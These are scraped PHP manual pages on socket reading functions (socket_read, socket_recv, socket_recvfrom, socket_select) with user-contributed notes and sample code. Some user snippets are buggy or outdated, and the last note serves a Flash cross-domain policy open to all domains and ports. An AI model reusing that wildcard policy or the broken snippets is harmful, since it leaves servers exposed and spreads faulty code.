tech [{at}] swatcash [{dot}] com 01-Jul-2008 04:23
Messed up the end of my previous one. Corrected version here:

a simple work around to non-blocking working with normal read is like so:

$read = array($socket);
$write  = NULL;
$except = NULL;
while(1) {
    $num_changed_sockets = socket_select($read, $write, $except, 0, 1);
    if ( $num_changed_sockets > '0' ) {
        socket_read($socket,10000,PHP_NORMAL_READ);
    }
}
Anonymous 15-Dec-2007 11:11
On non-blocking connections it may not return full length requested.
nad0r1 at hush dot ai 20-Nov-2007 07:59
Another way to bypass the annoying thing with telnet, that send each character as a string ,is to check if the response is "\r\n", that is the string that telnet sends when the user presses enter.

Here is an example:
<?php
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
 * as it comes in. */
ob_implicit_flush();

$address = '127.0.0.1';
$port = 100;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
}

if (socket_bind($sock, $address, $port) === false) {
    echo "socket_bind() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
else
  echo 'Socket ' . $address . ':' . $port . " has been opened\n";

if (socket_listen($sock, 5) === false) {
    echo "socket_listen() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
}
else
   echo "Listening for new clients..\n";

   $client_id = 0;
do {
    if (($msgsock = socket_accept($sock)) === false) {
        echo "socket_accept() failed: reason: " . socket_strerror(socket_last_error($sock)) . "\n";
        break;
    }
    else {
        $client_id += 1;
      echo "Client #" .$client_id .": Connect\n";
    }

    /* Send instructions. */
    $msg = "\nWelcome to the PHP Test Server. \n" .
        "To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
    socket_write($msgsock, $msg, strlen($msg));
$cur_buf = '';
    do {
        if (false === ($buf = socket_read($msgsock, 2048))) {
            echo "socket_read() failed: reason: " . socket_strerror(socket_last_error($msgsock)) . "\n";
            break 2;
        }
        if ($buf == "\r\n") {
        if ($cur_buf == 'quit') {
            echo 'Client #' .$client_id .': Disconnect' . "\n";
            break;
        }
        if ($cur_buf == 'shutdown') {
            socket_close($msgsock);
            break 2;
        }
        //else {
       $talkback = "Unknown command: " . str_replace("\r\n", '\r\n', $cur_buf) ."\n";
       socket_write($msgsock, $talkback, strlen($talkback));
       // }
        echo 'Client #' .$client_id .': ' . $cur_buf . "\n";
        $cur_buf = '';
        }
        else $cur_buf .= $buf;
    } while (true);
    socket_close($msgsock);
} while (true);

socket_close($sock);
?>
jgbustos at gmail dot com 17-Jul-2007 05:47
PHP on win32 developers, please look at this bug report before using the PHP_NORMAL_READ option:

http://bugs.php.net/bug.php?id=21197

In a nutshell, using PHP_NORMAL_READ will make your calls to socket_read() return an empty buffer every time.
ein at anti-logic dot com 28-Jun-2007 11:32
the proper way to detect a closed connection is to check socket_last_error.

Connection reset by peer is 104 (either use socket_strerror or don't suppress errors for the time being to find these out), sooo.

while($buffer=@socket_read($sock,512,PHP_NORMAL_READ)){
    echo $buffer;
}
if(socket_last_error($sock) == 104) {
    echo "Connection closed";
}
nuitari-php at nuitari dot net 13-Jun-2007 11:08
PHP_NORMAL_READ - reading stops at \n or \r.

This seems to be meant literally.
If there is a \r, then it will stop reading, even if there is a \n right after it. You have to call the read again just to get rid of the \n.
florin[at nospam]flachi[nospam dot]net 26-Feb-2007 04:22
Hello,

Here is a working solution for using socket_read in nonblocking mode for PHP_NORMAL_MODE read type, as it has some problems in standard PHP.

The function socket_normal_read will read from an unlimited number of sockets in PHP_NORMAL_MODE read type.

If you plan to use this function for an application that uses a lot of sockets that are always opening and closing, you might want to improve it to delete the respective records from $sockets and $queues static variables when you close a socket that you will not use anymore.

<?php

    define ("LINE_END", "\n");

    function socket_normal_read ($socket, $length) {

        static $sockets = array ();
        static $queues = array ();
        static $sock_num = 0;

        for ($i = 0;  isset ($sockets[$i]) && $socket != $sockets[$i]; $i++);

        if (!isset ($sockets[$i])) {
            $sockets [$sock_num] = $socket;
            $queues [$sock_num++] = "";
        }

        $recv = socket_read ($socket, $length, PHP_BINARY_READ);
        if ($recv === "") {
            if (strpos ($queues[$i], LINE_END) === false)
                return false;
        }
        else if ($recv !== false) {
            $queues[$i] .= $recv;
        }

        $pos = strpos ($queues[$i], LINE_END);
        if ($pos === false)
            return "";
        $ret = substr ($queues[$i], 0, $pos);
        $queues[$i] = substr ($queues[$i], $pos+2);

        return $ret;
    }

    $sock1 = socket_create (AF_INET, SOCK_STREAM, SOL_TCP);
    $sock2 = socket_create (AF_INET, SOCK_STREAM, SOL_TCP);
    $sock3 = socket_create (AF_INET, SOCK_STREAM, SOL_TCP);
    $sock4 = socket_create (AF_INET, SOCK_STREAM, SOL_TCP);
    socket_connect ($sock1, "127.0.0.1", 4551);
    socket_connect ($sock2, "127.0.0.1", 4552);
    socket_connect ($sock3, "127.0.0.1", 4553);
    socket_connect ($sock4, "127.0.0.1", 4554);
    socket_set_nonblock ($sock1);
    socket_set_nonblock ($sock2);
    socket_set_nonblock ($sock3);
    socket_set_nonblock ($sock4);
    while (1) {
        usleep (1000000);
        $x = socket_normal_read ($sock1, 4096);
        if ($x !== false && strlen ($x))
            echo "1: $x\n";
        $x = socket_normal_read ($sock2, 4096);
        if ($x !== false && strlen ($x))
            echo "2: $x\n";
        $x = socket_normal_read ($sock3, 4096);
        if ($x !== false && strlen ($x))
            echo "3: $x\n";
        $x = socket_normal_read ($sock4, 4096);
        if ($x !== false && strlen ($x))
            echo "4: $x\n";
    }

?>

To test this simple application, just use netcat (nc -vv -l 127.0.0.1 455x) to open 4 listening sockets. After you run this script, write some lines in each of those netcat sessions.

I hope this will help people that tried to use test-based socket connections in PHP using the sockets library.

I wait for feedback at the address specified.

Thank you.
dotpointer 04-Feb-2007 03:27
PHP 5.2.0 / Win32 / Apache 1.3 - It seems like...

PHP_BINARY_READ - works, but returns '', not FALSE...
- is blocking, until data received or connection closed
- does pass-through \r\n etc.
- returns data on data, '' on connection closed
- you can detect closed connection by checking for '' (not FALSE as stated i manual)

PHP_NORMAL_READ - not working so good...
- is non-blocking
- does not pass-through \r\n etc.
- returns false on no-data, false on connection closed :(
- (no way here to detect a closed connection...?)
- (is this a bug? http://bugs.php.net/bug.php?id=21880 )
- (is this a bug? http://bugs.php.net/bug.php?id=21197 )
- (could not get data from this option at all in fact...)

PHP_BINARY_READ seems to be the "right way to go"
for now. Both checking for '' and false to detect closed
connection is probably smart, as this "bug"(?) may
be fixed...
Niels laukens 21-Aug-2006 12:34
This paragraph is confusing:

socket_read() returns the data as a string on success, or FALSE on error (including if the remote host has closed the connection). The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual representation of the error.
Note: socket_read() returns a zero length string ("") when there is no more data to read.

My tests (on PHP 5.1.4) show that when you socket_read() on a shutdown-socket, it returns FALSE when using PHP_NORMAL_READ, but returns "" when reading in PHP_BINARY_READ.
sbasurto at yahoo dot com 11-Aug-2006 11:28
Interesting use of sockets:
<?php
//Use sockets and xml coool!!!
//Check this out
/*
//============================================================
//First you create a xsl template like the following called test.xsl:
<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" encoding="iso-8859-1"/>
<xsl:template match="/">
<table>
<tr><td><font color='red'><xsl:value-of select="test/one"/></font></td></tr>
<tr><td><font color='blue'><xsl:value-of select="test/two"/></font></td></tr>
</table>
</xsl:template>
</xsl:stylesheet>
//============================================================
*/
//============================================================
//Second: You create a php script called getResponse.php with the following content:

echo chr(60).chr(63)."xml version".chr(61)."\"1.0\" encoding".chr(61)."\"ISO".chr(45)."8859".chr(45)."1\" standalone".chr(61)."\"yes\" ".chr(63).chr(62)."\n";
...connect to a database postgres...
$sql = "select first, second from my_table;";
...execute the query and asign to $result array...

$xml_string = "<test>\n";
while($result){
  $xml_string .= "<one>".$result[0]['first']."</one>\n";
  $xml_string .= "<two>".$result[0]['second']."</two>\n";
}
$xml_string .= "</test>\n";

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header("Content-Type:text/xml");
echo $xml_string;
//============================================================

//==================S O C K E T S===============================
//Finally: Create a php script called master.php with the following content.
$server = "192.168.0.1"; //my server
$sk = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sk, $server, 80);
$request = "GET /getResponse.php HTTP/1.0"."\r\n";
$request .= "Host:192.168.0.1 \r\n\r\n";
socket_write($sk, $request);

$doc = new DOMDocument();
$xsl = new XSLTProcessor();
$doc->load("./test.xsl");
$xsl->importStyleSheet($doc);

$doc->loadXML(strstr(socket_read($sk,12000),"<?xml"));
echo $xsl->transformToXML($doc);
//==================S O C K E T S================================

"The output is the result of the query one line red and one blue".

//The most interesting thing here, is that you can create all the
//pages of your site with one xsl template and xml, but with
//the advantage of using the power of PHP.
//cool isn't it?

Regards bazz.
?>
Ronin-php at onabout dot net 02-May-2006 12:06
Just a helper for those trying to use sockets to transfer large ammounts of info.

I was pulling my hair out forever trying to figure out why different strings sent by different socket_writes were getting concatenated by socket_read.

If you have a problem with this, try a sleep(), the delay allows the server to see the difference (it is able to do one before the next arrives)
Bill Kuker 18-Mar-2005 07:31
Just a note that on my system the length seems to have an undocumented upper bound of 65536. I was being lazy and not read()ing in a while loop until I pointed it at real data ;)
michi at tr51 dot org 26-May-2004 12:48
if you'd like to make a "socket_read" on a linux-system connected with a flash-client (v. 6.0 r81) you have to send a string to the connected port:

<?php

   ...  //initialising communication

    $string = "ready to get/send data\0";
    socket_write($socket, $string);

    //now you can read from...
    $line = trim(socket_read($socket, MAXLINE));

    ...  // do some stuff, finaly close connection
?>
magicking89 at hotmail dot com 30-Aug-2003 04:01
if you want to use a non block socket you must to use socket_last_error

if(!socket_last_error($sc)){
   if($buffer=socket_read($sc,512,PHP_NORMAL_READ)){
      echo $buffer;
   }
}

if you use it your script wont take all your memory
schst at php-tools dot de 04-Jul-2003 06:19
You may download a generic server class at http://www.php-tools.de
This class will accept the sockets read data from it and hands it to a callback function. Furthermore there are methods for connection handling included.
24-Sep-2002 11:48
Windows telnet sends/recieves one character at a time. Try adding PHP_NORMAL_READ to the end of socket_read, that might help.
socket_listen
socket_recv
Socket Functions


Receives data from a connected socket

socket_read
socket_recvfrom
Socket Functions
PHP Manual

socket_recv

(PHP 4 >= 4.1.0, PHP 5)

socket_recv — Receives data from a connected socket

Description

int socket_recv ( resource $socket , string &$buf , int $len , int $flags )

The socket_recv() function receives len bytes of data in buf from socket. socket_recv() can be used to gather data from connected sockets. Additionally, one or more flags can be specified to modify the behaviour of the function.

buf is passed by reference, so it must be specified as a variable in the argument list. Data read from socket by socket_recv() will be returned in buf.

Parameters

socket

The socket must be a socket resource previously created by socket_create().

buf

The data received will be fetched to the variable specified with buf. If an error occurs, if the connection is reset, or if no data is available, buf will be set to NULL.

len

Up to len bytes will be fetched from remote host.

flags

The value of flags can be any combination of the following flags, joined with the binary OR (|) operator.

Possible values for flags
Flag | Description
MSG_OOB | Process out-of-band data.
MSG_PEEK | Receive data from the beginning of the receive queue without removing it from the queue.
MSG_WAITALL | Block until at least len are received. However, if a signal is caught or the remote host disconnects, the function may return less data.
MSG_DONTWAIT | With this flag set, the function returns even if it would normally have blocked.

Return Values

socket_recv() returns the number of bytes received, or FALSE if there was an error. The actual error code can be retrieved by calling socket_last_error(). This error code may be passed to socket_strerror() to get a textual explanation of the error.

Examples

Example #1 socket_recv() example

This example is a simple rewrite of the first example from Examples to use socket_recv().

<?php
error_reporting(E_ALL);

echo "<h2>TCP/IP Connection</h2>\n";

/* Get the port for the WWW service. */
$service_port = getservbyname('www', 'tcp');

/* Get the IP address for the target host. */
$address = gethostbyname('www.example.com');

/* Create a TCP/IP socket. */
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === false) {
    echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
} else {
    echo "OK.\n";
}

echo "Attempting to connect to '$address' on port '$service_port'...";
$result = socket_connect($socket, $address, $service_port);
if ($result === false) {
    echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
} else {
    echo "OK.\n";
}

$in = "HEAD / HTTP/1.1\r\n";
$in .= "Host: www.example.com\r\n";
$in .= "Connection: Close\r\n\r\n";
$out = '';

echo "Sending HTTP HEAD request...";
socket_write($socket, $in, strlen($in));
echo "OK.\n";

echo "Reading response:\n\n";
$buf = 'This is my buffer.';
if (false !== ($bytes = socket_recv($socket, $buf, 2048, MSG_WAITALL))) {
    echo "Read $bytes bytes from socket_recv(). Closing socket...";
} else {
    echo "socket_recv() failed; reason: " . socket_strerror(socket_last_error($socket)) . "\n";
}
socket_close($socket);

echo $buf . "\n";
echo "OK.\n\n";
?>

The above example will produce something like:

<h2>TCP/IP Connection</h2>
OK.
Attempting to connect to '208.77.188.166' on port '80'...OK.
Sending HTTP HEAD request...OK.
Reading response:

Closing socket...HTTP/1.1 200 OK
Date: Mon, 14 Sep 2009 08:56:36 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT
ETag: "b80f4-1b6-80bfd280"
Accept-Ranges: bytes
Content-Length: 438
Connection: close
Content-Type: text/html; charset=UTF-8

OK.

User Contributed Notes

rathamahata at rathamahata dot net 25-Aug-2005 04:44
It looks like that mysterious flags are just the recv(2) flags passed to your OS syscall and nothing more...

ext/sockets/sockets.c:PHP_FUNCTION(socket_recv)
...
        if ((retval = recv(php_sock->bsd_socket, recv_buf, len, flags)) < 1) {
                efree(recv_buf);
...

for linux you can type `man 2 recv' and you will see complete description of thouse flags.

Sergey S. Kosrtyliov <rathamahata@rathamahata.net>
http://www.rathamahata.net/
06-May-2005 04:59
My last post was incorrect. The int flag set to 2 apparently reset the file position pointer so what I was reading was the first record repeatedly.

My workaroud ended up being the following:

for($ct=1; $ct<=$numrecs; $ct++) {
    $rec = "";
    $nr=socket_recv($fp,$rec,76,0);

    //grab the extra bytes.
    $terminator = "";
    while ($terminator != ".") {
        $nr=socket_recv($fp,$terminator,1,0);
    }

     $custarray[]=substr($rec,0,76);
}

Martin K.
05-May-2005 07:42
I'm glad that Bastion left the above post about the mysterious int flag. He just helped to fix a problem that I've spent six hours on. Here's my code:

for($ct=1; $ct<=$numrecs; $ct++) {
     $rec = "";
     $nr=socket_recv($fp,$rec,77,0);
     print "Rec # $ct -->";
         print "$rec";
         print "<br>";
      }

The code is pretty simple, it just loops through all my records and prints them out. All records are 77 bytes and all end with a period. The first 36 records print perfectly then at 37 things go bad. The records start to get offset. The last few characters of the 37th record end up printing on the 38th record. The data on the sending side was perfect, so I knew that the problem was with socked_recv.

After reading the above post I tried changing the int flag. Changing the flag to 2 worked:
$nr=socket_recv($fp,$rec,77,2);

Now everything lines up perfectly. I had always left int flag as 0 since it's undocumented.

Martin K.
engine at [NO SPAM] illusiononly dot com 30-Nov-2004 04:58
To read from socket both on linux and windows OS having  flash as a client I use function bellow. $length is the size of  a chunk, not the max length to read. It will continue reading until EOL char  occures or client disconnects (or in case of error), so it works for bigger packets as well.

     function read($descriptor, $length = 1024) {
            $this->method = "read";
            if(!$client){
                echo("No valid socket descriptor !\n");
                return false;
            }
            $read ='';
        while(($flag=socket_recv($descriptor, $buf, $length,0))>0){
              $asc=ord(substr($buf, -1));
            if ($asc==0) {
                $read.=substr($buf,0,-1);
                break;
            }else{
                $read.=$buf;
            }
        }
           if ($flag<0){
            //error
            return false;
        }elseif ($flag==0){
            //Client disconnected
            return  false;
        }else{
              return $read;
        }

     }
dgk at tcde dot ru 05-Nov-2004 03:57
I've used socket_select and socket_recv with a while loop and found myself in trouble when remote side closed connection. The code below produced infinite loop and socket_select returned immediately (which lead to high cpu time consumption).

<?

socket_set_nonblock($my_socket);
$streams = array($my_socket/*, ... */);

$lastAccess = time();
while (socket_select($streams, $write = NULL, $except = NULL, SLEEP_TIME_SECONDS, SLEEP_TIME_MILLISECONDS) !== FALSE) {
    if (in_array($my_socket, $streams)) {
        while (@socket_recv($my_socket, $data, 8192, 0)) {
            echo $data;
        }
        $lastAccess = time();
    } else {
        if (time()-$lastAccess > LAST_ACCESS_TIMEOUT) {
            break;
        }
    }
    // ...
    $streams = array($my_socket/*, ... */);
}

?>

The solution was simple, but quite hard to find because socket_recv is not documented. socket_recv returns FALSE if there is no data and 0 if the socket is widowed (disconnected by remote side). So I had just to check return value of socket_recv. The problem now sounds stupid, but I've spend some time to find it out.
I hope this will save some of somebody's hair ;)
bastiaan at [no-spam] megabass dot nl 05-Apr-2004 09:35
in case you want to empty/unset $buffer, but failing to do so, try using 0 as flag.
PHP_NORMAL_READ and PHP_BINARY_READ respectively hold 1 and 2 as value.
socket_read
socket_recvfrom
Socket Functions


Receives data from a socket whether or not it is connection-oriented

socket_recv
socket_select
Socket Functions
PHP Manual

socket_recvfrom

(PHP 4 >= 4.1.0, PHP 5)

socket_recvfrom — Receives data from a socket whether or not it is connection-oriented

Description

int socket_recvfrom ( resource $socket , string &$buf , int $len , int $flags , string &$name [, int &$port ] )

The socket_recvfrom() function receives len bytes of data in buf from name on port port (if the socket is not of type AF_UNIX) using socket. socket_recvfrom() can be used to gather data from both connected and unconnected sockets. Additionally, one or more flags can be specified to modify the behaviour of the function.

The name and port must be passed by reference. If the socket is not connection-oriented, name will be set to the internet protocol address of the remote host or the path to the UNIX socket. If the socket is connection-oriented, name is NULL. Additionally, the port will contain the port of the remote host in the case of an unconnected AF_INET or AF_INET6 socket.

Parameters

socket

The socket must be a socket resource previously created by socket_create().

buf

The data received will be fetched to the variable specified with buf.

len

Up to len bytes will be fetched from remote host.

flags

The value of flags can be any combination of the following flags, joined with the binary OR (|) operator.

Possible values for flags
Flag | Description
MSG_OOB | Process out-of-band data.
MSG_PEEK | Receive data from the beginning of the receive queue without removing it from the queue.
MSG_WAITALL | Block until at least len are received. However, if a signal is caught or the remote host disconnects, the function may return less data.
MSG_DONTWAIT | With this flag set, the function returns even if it would normally have blocked.
name

If the socket is of the type AF_UNIX type, name is the path to the file. Else, for unconnected sockets, name is the IP address of, the remote host, or NULL if the socket is connection-oriented.

port

This argument only applies to AF_INET and AF_INET6 sockets, and specifies the remote port from which the data is received. If the socket is connection-oriented, port will be NULL.

Return Values

socket_recvfrom() returns the number of bytes received, or FALSE if there was an error. The actual error code can be retrieved by calling socket_last_error(). This error code may be passed to socket_strerror() to get a textual explanation of the error.

Examples

Example #1 socket_recvfrom() example

<?php
error_reporting(E_ALL | E_STRICT);

$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($socket, '127.0.0.1', 1223);

$from = '';
$port = 0;
socket_recvfrom($socket, $buf, 12, 0, $from, $port);

echo "Received $buf from remote address $from and remote port $port" . PHP_EOL;
?>

This example will initiate a UDP socket on port 1223 of 127.0.0.1 and print at most 12 characters received from a remote host.

Changelog

Version | Description
4.3.0 | socket_recvfrom() is now binary safe.

See Also

  • socket_recv() - Receives data from a connected socket
  • socket_send() - Sends data to a connected socket
  • socket_sendto() - Sends a message to a socket, whether it is connected or not
  • socket_create() - Create a socket (endpoint for communication)

User Contributed Notes

rmayo100 at yahoo dot com 16-Apr-2010 07:13
I said in my previous note that I'd add a secondary post when I found out more about how to use socket_recvfrom().  So here it is.

As I suspected, the example given is dead-flat-wrong and should be avoided.  You WILL need to use pointers like the description at the top of the page says.  My working socket_recvfrom() command looks like this:

     $bytes = socket_recvfrom ($socket, &$udp_reply, 100, 0, &$from_addr, &$from_port);

Also, even if you have no interest in the the information at all, you must create the $from_addr and $from_port variables and pass them by reference.  PHP doesn't support passing in NULL just because you might not give a rat's patootie about the information....    ;)

R.
rmayo100 at yahoo dot com 14-Apr-2010 10:27
The example doesn't match the format described at the top of the page.  It appears to me that to use this command to receive UDP data, I need to format my calling parameter as follows:

int socket_recvfrom
(
    resource $socket,        //  Created this with socket_create
    string     &$buf,        //   This is a pointer!!
    int         $len,        //    I know the amount of data
    int         $flags,      //   I know the flags I want
    string     &$name,       //   This is ALSO a pointer!
    int         &$port       //   This is ALSO a pointer, TOO!!
);

The example doesn't use any pointers, just values, and I didn't think socket_bind was necessary for UDP sockets.  At least, it isn't in C.  Anybody got a example that does work??  (Because this doesn't see to so far.)

If I do stumble on a combination of settings that works, I'll post it -- but this doesn't seem to be the most active page on PHP.net....

R.
jaggerwang at gmail dot com 07-Nov-2007 09:56
I'm confused about the rerturn value of socket_recvfrom(), it said -1 when failed, but when I call like this:

if (($len = @socket_recvfrom($sock, $result, 32, 0, $ip, $port)) == -1) {
    if ($this->_debug) {
        echo "socket_read() failed: " . socket_strerror(socket_last_error()) . "\n";
    }
    return false;
}

variable $len = false, when I change the buffer length from 32 to 4096, it becomes right.
ryan_at_ryanfisher_dot_com 01-Oct-2006 10:27
DNS RELAY USING UDP SOCKETS

<?php

while(TRUE) {
   $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
   if($socket === FALSE)
   {
       echo 'Socket_create failed: '.socket_strerror(socket_last_error())."\n";
   }
   if(!socket_bind($socketD, "0.0.0.0", 53)) {
       socket_close($socketD);
       echo 'socket_bind failed: '.socket_strerror(socket_last_error())."\n";
   }
   socket_recvfrom($socket,$buf,65535,0,$clientIP,$clientPort);
   $stz = bin2hex($buf);
   $tx = "";
   for($i=0;$i<(strlen($stz)-26-10)/2;$i++)
   {
     $e = "00";
     $e[0] = $stz[$i*2+26];
     $e[1] = $stz[$i*2+27];
     $f = hexdec($e);
     if($f > 0 && $f < 32) $tx .= "."; else
     $tx .= sprintf("%c",$f);
   }
   echo "$clientIP <".$tx.">\n";
   $fp = fsockopen("udp://72.174.110.4",53,$errno,$errstr);
   if (!$fp)
   {
       echo "ERROR: $errno - $errstr<br />\n";
   }
   else
   {
      fwrite($fp,$buf);
      $ret = $buf;
      $ret = fread($fp,667);
      fclose($fp);
   }
  }
socket_send($socket,$ret,667,0);
}
?>
tsuna at tsunaquack d0t c0m 21-Feb-2005 03:17
This function is very handy when dealing with UDP connections, because it enables you to know who's the client who connected to your socket. Bear in mind that UDP doesn't care about the source of the connection, the packets may be annonymous or even faked. No check is required.

If you want to listen on an UDP socket and answer to the client, read my comment on socket_listen() -> http://www.php.net/manual/en/function.socket-listen.php
socket_recv
socket_select
Socket Functions


Runs the select() system call on the given arrays of sockets with a specified timeout

socket_recvfrom
socket_send
Socket Functions
PHP Manual

socket_select

(PHP 4 >= 4.1.0, PHP 5)

socket_select — Runs the select() system call on the given arrays of sockets with a specified timeout

Description

int socket_select ( array &$read , array &$write , array &$except , int $tv_sec [, int $tv_usec = 0 ] )

socket_select() accepts arrays of sockets and waits for them to change status. Those coming with BSD sockets background will recognize that those socket resource arrays are in fact the so-called file descriptor sets. Three independent arrays of socket resources are watched.

Parameters

read

The sockets listed in the read array will be watched to see if characters become available for reading (more precisely, to see if a read will not block - in particular, a socket resource is also ready on end-of-file, in which case a socket_read() will return a zero length string).

write

The sockets listed in the write array will be watched to see if a write will not block.

except

The sockets listed in the except array will be watched for exceptions.

tv_sec

The tv_sec and tv_usec together form the timeout parameter. The timeout is an upper bound on the amount of time elapsed before socket_select() return. tv_sec may be zero , causing socket_select() to return immediately. This is useful for polling. If tv_sec is NULL (no timeout), socket_select() can block indefinitely.

tv_usec

Warning

On exit, the arrays are modified to indicate which socket resource actually changed status.

You do not need to pass every array to socket_select(). You can leave it out and use an empty array or NULL instead. Also do not forget that those arrays are passed by reference and will be modified after socket_select() returns.

Note:

Due a limitation in the current Zend Engine it is not possible to pass a constant modifier like NULL directly as a parameter to a function which expects this parameter to be passed by reference. Instead use a temporary variable or an expression with the leftmost member being a temporary variable:

Example #1 Using NULL with socket_select()

<?php
$e = NULL;
socket_select($r, $w, $e, 0);
?>

Return Values

On success socket_select() returns the number of socket resources contained in the modified arrays, which may be zero if the timeout expires before anything interesting happens. On error FALSE is returned. The error code can be retrieved with socket_last_error().

Note:

Be sure to use the === operator when checking for an error. Since the socket_select() may return 0 the comparison with == would evaluate to TRUE:

Example #2 Understanding socket_select()'s result

<?php
$e = NULL;
if (false === socket_select($r, $w, $e, 0)) {
    echo "socket_select() failed, reason: " .
        socket_strerror(socket_last_error()) . "\n";
}
?>

Examples

Example #3 socket_select() example

<?php
/* Prepare the read array */
$read   = array($socket1, $socket2);
$write  = NULL;
$except = NULL;
$num_changed_sockets = socket_select($read, $write, $except, 0);

if ($num_changed_sockets === false) {
    /* Error handling */
} else if ($num_changed_sockets > 0) {
    /* At least at one of the sockets something interesting happened */
}
?>

Notes

Note:

Be aware that some socket implementations need to be handled very carefully. A few basic rules:

  • You should always try to use socket_select() without timeout. Your program should have nothing to do if there is no data available. Code that depends on timeouts is not usually portable and difficult to debug.
  • No socket resource must be added to any set if you do not intend to check its result after the socket_select() call, and respond appropriately. After socket_select() returns, all socket resources in all arrays must be checked. Any socket resource that is available for writing must be written to, and any socket resource available for reading must be read from.
  • If you read/write to a socket returns in the arrays be aware that they do not necessarily read/write the full amount of data you have requested. Be prepared to even only be able to read/write a single byte.
  • It's common to most socket implementations that the only exception caught with the except array is out-of-bound data received on a socket.

See Also

  • socket_read() - Reads a maximum of length bytes from a socket
  • socket_write() - Write to a socket
  • socket_last_error() - Returns the last error on the socket
  • socket_strerror() - Return a string describing a socket error

User Contributed Notes

jean at briskula dot si 04-Feb-2011 05:03
As it was already said, some clients need \0 character to end transmission, for example Flash's XMLSocket.

You should also be prepared to read less data than you have requested.

Here is an example of a socket buffer - it's an array which has socket resources for keys and an array of a timestamp and recieved data as values.

I find that the best practice for sending data is trailing it with a new line and zero character (\n\0), because you will probably have different types of clients which behave differently for reading data from sockets. Some need a \n to fire an event, some need \0.

For recieving data, sometimes you will get splitted data - this can hapen because the buffer is full (in my example 8192 bytes) or it just gets broken during transmission in lower levels.

Sometimes you can read two messages at once, but they have a zero character in between, so you can just use preg_split() to split the messages. The second message may not be complete, so you add it to your buffer.

<?php
    const message_delimiter = "\n\0";

    /*
     * Clear socket buffers older than 1 hour
     */
    function clear_buffer() {
        foreach($this->buffer as $key=>$val) {
            if(time() - $val['ts'] > 3600) {
                unset($this->buffer[$key]);
            }
        }
    }

    /*
     * Add data to a buffer
     */
    function buffer_add($sock,$data) {
        if(!isset($this->buffer[$sock])) {
            $this->buffer[$sock]['data'] = '';
        }

        $this->buffer[$sock]['data'] .= $data;
        $this->buffer[$sock]['ts'] = time();
    }

    function buffer_get($sock) {
        // split buffer by the end of string
        $lines = preg_split('/\0/',$this->buffer[$sock]['data']);

        // reset buffer to the last line of input
        // if the buffer was sent completely, the last line of input should be
        // an empty string
        $this->buffer[$sock]['data'] = trim($lines[count($lines)-1]);

        if(!empty($this->buffer[$sock]['data'])) {
            debug("buffer is not empty for $sock, len: ".strlen($this->buffer[$sock]['data']));
        }

        // remove the last line of input (incomplete data)
        // parse any complete data
        unset($lines[count($lines)-1]);

        // return only the fully sent data
        return $lines;
    }

    function read(&$sock,$len=8192,$flag=MSG_DONTWAIT) {
        $lines = array();

        $this->clear_buffer();

        $bytes_read = @socket_recv($sock,$read_data,$len,$flag);

        if ($bytes_read === false || $bytes_read == 0) {
            return false;
        } else {
            debug("recv: $read_data");
            $this->buffer_add($sock,$read_data);
            return $this->buffer_get($sock);
        }
    }

    /*
     * Write to a socket
     * add a newline and null character at the end
     * some clients don't read until new line is recieved
     *
     * try to send the rest of the data if it gets truncated
     */
    function write(&$sock,$msg) {
        $msg = $msg.self::message_delimiter;
        $length = strlen($msg);
        while(true) {
            $sent = @socket_write($sock,$msg,$length);
            if($sent <= 0) {
                return false;
            }
            if($sent < $length) {
                $msg = substr($msg, $sent);
                $length -= $sent;
                debug("Message truncated: Resending: $msg");
            } else {
                return true;
            }
        }
        return false;
    }
?>
John 02-Jun-2010 09:25
The way the document describes socket_select()'s handling of sockets polled for read is rather obscure.

It says that it checks to see if reading would not "block," but the overall description of socket_select() says it checks for a change in blocking status. Unfortunately, these are in conflict.

If a socket already has data in the buffer, calling socket_select() on that socket would never return (assuming null timeout), and would block forever. :-( This is because the blocking status wouldn't change. It simply stays "non-blocking"

It is important to remember NOT to select() on a socket which may already have data available.

An example...
<?php
//... $socket is already here...
$done = false;
$n = 0;
do{
    $tmp = 0;
    $r = $w = $e = array();
    $r = array($socket);
    socket_select($r,$w,$e,null);
    $n = socket_recv($socket, $tmp, 1024, 0);

    //$done = true; //Something determines that we are done reading...
}while(!$done);
?>
This MAY NOT work... socket_select() is always being called... but we may have data in the input buffer.

We need to ensure that the last time we read, nothing was read... (empty buffer)
<?php
//... $socket is already here...
$done = false;
$n = 0;
do{
    $tmp = 0;
    $r = $w = $e = array();
    $r = array($socket);
    if($n === 0) socket_select($r,$w,$e,null);
    $n = socket_recv($socket, $tmp, 1024, 0);

    //$done = true; //Something determines that we are done reading...
}while(!$done);
?>
magemerlin at list dot ru 17-Apr-2010 03:24
If you using a Flash client - you should know some specific features:

1) when client connects to the server - it is sending to you "<policy-file-request/>"."\0" string. Server should answer an XML policy file, then disconnect from this client. Code is something like

if ('<policy-file-request/>'==substr($data, 0, 22))
                {
                    echo "policy requset.\n";
                    flush();ob_flush();
                    $msg = '<'.'?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>'."\0";
                    echo "Say to client (crossdomain.xml) ... ";
                    flush();ob_flush();
